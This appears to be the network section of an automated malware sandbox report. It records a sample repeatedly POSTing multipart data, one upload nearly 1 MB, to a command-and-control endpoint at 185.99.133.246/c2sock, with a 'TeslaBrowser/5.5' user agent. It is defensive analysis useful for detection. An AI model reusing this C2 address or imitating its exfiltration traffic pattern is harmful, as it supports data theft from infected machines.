Network Analysis
| IP Address | Status | Action |
|---|---|---|
| 185.99.133.246 | Active | Moloch |
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
- TCP Requests
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 19973
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:12:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=8ov6gpnn8evsinl15iec374um8; expires=Fri, 22 Sep 2023 23:59:30 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:12:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=imkkv2u133b0lhfqfffb596n3l; expires=Fri, 22 Sep 2023 23:59:33 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 972781
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=lhb7j61dug3dncjeogjmi2lpjl; expires=Fri, 22 Sep 2023 23:59:42 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:05 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=kutlrv6rr1eadppgmhdc3um47v; expires=Fri, 22 Sep 2023 23:59:44 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=cljh5p1ehddtla44iblr8b7s3a; expires=Fri, 22 Sep 2023 23:59:44 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 23068
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:07 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=0afmb6lg4e1kcs7s4cepq0tj43; expires=Fri, 22 Sep 2023 23:59:46 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 1303
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:08 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=o7jitr1tjipelgohglr363aini; expires=Fri, 22 Sep 2023 23:59:46 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 37058
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=634spbnndja9il8dclqj3kb4mj; expires=Fri, 22 Sep 2023 23:59:48 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:10 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=8nclqnrbi1fp73akgm6bip3ft9; expires=Fri, 22 Sep 2023 23:59:49 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:11 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=l4ji78meuignl1fqks7r5k72g3; expires=Fri, 22 Sep 2023 23:59:50 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=pohu3sj8m3iidsl1mes3i8kqkc; expires=Fri, 22 Sep 2023 23:59:51 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=7s28oseb8g4kmpqg9kl0hvsecu; expires=Fri, 22 Sep 2023 23:59:51 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=h092u06c1iboacr6j3e7mujtln; expires=Fri, 22 Sep 2023 23:59:52 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 444
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 30 May 2023 06:13:14 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=tinra868fa693l17lasrkslqo6; expires=Fri, 22 Sep 2023 23:59:53 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts